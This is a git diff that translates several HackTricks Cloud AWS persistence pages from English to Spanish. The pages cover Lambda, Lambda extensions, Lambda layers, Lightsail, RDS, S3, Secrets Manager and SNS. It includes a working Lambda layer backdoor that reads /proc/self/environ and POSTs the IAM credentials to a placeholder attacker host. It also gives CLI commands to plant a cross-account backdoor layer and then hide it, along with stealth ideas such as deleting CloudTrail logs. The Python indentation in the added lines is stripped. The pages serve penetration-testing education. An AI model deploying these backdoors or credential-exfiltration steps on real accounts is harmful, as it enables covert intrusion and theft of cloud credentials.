-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
+Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante.
+- Cada vez que se crea un nuevo rol, lambda otorga permisos de asumir rol a usuarios comprometidos.
+- Cada vez que se generan nuevos registros de cloudtrail, elimínalos/modifícalos.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..f52a1ad08 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,46 +1,42 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Abusando de las Extensiones de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Extensiones de Lambda
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**.
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
+- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### Extensión Externa para Persistencia, Robo de Solicitudes y Modificación de Solicitudes
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP.
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales.
> [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto.
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+La herramienta [**lambda-spy**](https://github.com/clearvector/lambda-spy) fue creada para realizar esa **escritura de memoria** y **robar información sensible** de las solicitudes de lambda, otras **solicitudes de extensiones** e incluso **modificarlas**.
-## References
+## Referencias
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..8d5041b79 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,82 +1,75 @@
-# AWS - Lambda Layers Persistence
+# AWS - Persistencia de Capas de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Layers
+## Capas de Lambda
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración.
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada.
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen.
-### Python load path
-
-The load path that Python will use in lambda is the following:
+### Ruta de carga de Python
+La ruta de carga que Python utilizará en lambda es la siguiente:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+Verifica cómo las **segundas** y **terceras** **posiciones** son ocupadas por directorios donde **lambda layers** descomprimen sus archivos: **`/opt/python/lib/python3.9/site-packages`** y **`/opt/python`**
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> Si un atacante logra **backdoor** una **layer** de lambda utilizada o **agregar una** que estará **ejecutando código arbitrario cuando se cargue una biblioteca común**, podrá ejecutar código malicioso con cada invocación de lambda.
-Therefore, the requisites are:
+Por lo tanto, los requisitos son:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Verificar bibliotecas** que son **cargadas** por el código de las víctimas
+- Crear una **biblioteca proxy con lambda layers** que **ejecutará código personalizado** y **cargará la biblioteca original**.
-### Preloaded libraries
+### Bibliotecas pre-cargadas
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> Al abusar de esta técnica encontré una dificultad: Algunas bibliotecas ya están **cargadas** en el tiempo de ejecución de python cuando se ejecuta tu código. Esperaba encontrar cosas como `os` o `sys`, pero **incluso la biblioteca `json` estaba cargada**.\
+> Para abusar de esta técnica de persistencia, el código necesita **cargar una nueva biblioteca que no esté cargada** cuando se ejecuta el código.
+Con un código en python como este es posible obtener la **lista de bibliotecas que están pre-cargadas** dentro del tiempo de ejecución de python en lambda:
```python
import sys
def lambda_handler(event, context):
- return {
- 'statusCode': 200,
- 'body': str(sys.modules.keys())
- }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+Y esta es la **lista** (verifica que bibliotecas como `os` o `json` ya estén allí)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
+Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defecto**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### Inyección en la Capa de Lambda
-### Lambda Layer Backdooring
+En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**.
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
+Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\
+Este archivo debe:
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- Ejecutar nuestra carga útil
+- Cargar la biblioteca csv original
+Podemos hacer ambas cosas con:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
- url= "https://attacker13123344.com/" #Change this to your server
- req = request.Request(url, data=file.read(), method="POST")
- response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
+Luego, crea un zip con este código en la ruta **`python/lib/python3.9/site-packages/__init__.py`** y agrégalo como una capa lambda.
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+Puedes encontrar este código en [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+El payload integrado **enviará las credenciales de IAM a un servidor LA PRIMERA VEZ que se invoque o DESPUÉS de un reinicio del contenedor lambda** (cambio de código o lambda fría), pero **otras técnicas** como las siguientes también podrían integrarse:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### External Layers
+### Capas Externas
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+Ten en cuenta que es posible usar **capas lambda de cuentas externas**. Además, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos.\
+También ten en cuenta que el **número máximo de capas que una lambda puede tener es 5**.
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- - The victim **won't see external layers** used with **`aws lambda list-layers`**
+Por lo tanto, para mejorar la versatilidad de esta técnica, un atacante podría:
+- Inyectar un backdoor en una capa existente del usuario (nada es externo)
+- **Crear** una **capa** en **su cuenta**, dar acceso a la **cuenta de la víctima** para usar la capa, **configurar** la **capa** en la Lambda de la víctima y **eliminar el permiso**.
+- La **Lambda** aún podrá **usar la capa** y la **víctima no** tendrá ninguna forma fácil de **descargar el código de las capas** (aparte de obtener un rev shell dentro de la lambda)
+- La víctima **no verá capas externas** utilizadas con **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
-
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..d94305074 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,34 +4,30 @@
## Lightsail
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Download Instance SSH keys & DB passwords
+### Descargar claves SSH de la instancia y contraseñas de la base de datos
-They won't be changed probably so just having them is a good option for persistence
+Probablemente no se cambiarán, así que tenerlas es una buena opción para la persistencia.
-### Backdoor Instances
+### Instancias con puerta trasera
-An attacker could get access to the instances and backdoor them:
+Un atacante podría acceder a las instancias y ponerles una puerta trasera:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- Usando un **rootkit** tradicional, por ejemplo
+- Agregando una nueva **clave SSH pública**
+- Exponer un puerto con port knocking con una puerta trasera
-### DNS persistence
+### Persistencia DNS
-If domains are configured:
+Si los dominios están configurados:
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- Crear un subdominio apuntando a tu IP para que tengas un **subdomain takeover**
+- Crear un registro **SPF** que te permita enviar **emails** desde el dominio
+- Configurar la **IP del dominio principal a la tuya** y realizar un **MitM** desde tu IP a las legítimas
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..e470b14f4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,32 +4,24 @@
## RDS
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### Hacer que la instancia sea accesible públicamente: `rds:ModifyDBInstance`
+Un atacante con este permiso puede **modificar una instancia RDS existente para habilitar la accesibilidad pública**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
+### Crear un usuario administrador dentro de la DB
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
+Un atacante podría **crear un usuario dentro de la DB** para que incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos.
+### Hacer la instantánea pública
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..d13b82f7b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -4,7 +4,7 @@
## S3
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -12,18 +12,14 @@ For more information check:
### KMS Client-Side Encryption
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+Cuando se completa el proceso de cifrado, el usuario utilizará la API de KMS para generar una nueva clave (`aws kms generate-data-key`) y **almacenará la clave cifrada generada dentro de los metadatos** del archivo ([ejemplo de código en python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que cuando ocurra la desencriptación, pueda desencriptarla usando KMS nuevamente:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+Por lo tanto, un atacante podría obtener esta clave de los metadatos y desencriptar con KMS (`aws kms decrypt`) para obtener la clave utilizada para cifrar la información. De esta manera, el atacante tendrá la clave de cifrado y si esa clave se reutiliza para cifrar otros archivos, podrá usarla.
### Using S3 ACLs
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+Aunque generalmente las ACL de los buckets están deshabilitadas, un atacante con suficientes privilegios podría abusar de ellas (si están habilitadas o si el atacante puede habilitarlas) para mantener el acceso al bucket de S3.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..396124814 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,57 +1,51 @@
-# AWS - Secrets Manager Persistence
+# AWS - Persistencia en Secrets Manager
{{#include ../../../banners/hacktricks-training.md}}
## Secrets Manager
-For more info check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Via Resource Policies
+### A través de Políticas de Recursos
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+Es posible **otorgar acceso a secretos a cuentas externas** a través de políticas de recursos. Consulta la [**página de Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para más información. Ten en cuenta que para **acceder a un secreto**, la cuenta externa también **necesitará acceso a la clave KMS que encripta el secreto**.
-### Via Secrets Rotate Lambda
+### A través de Lambda de Rotación de Secretos
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+Para **rotar secretos** automáticamente se llama a una **Lambda** configurada. Si un atacante pudiera **cambiar** el **código**, podría **exfiltrar directamente el nuevo secreto** para sí mismo.
+Así es como podría verse el código de lambda para tal acción:
```python
import boto3
def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
- # Example: Generate a new password
- new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
- return new_secret_value
+return new_secret_value
def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..4fb5d97db 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SNS
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,74 +12,66 @@ For more information check:
### Persistence
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
+Al crear un **tema SNS**, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
+La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
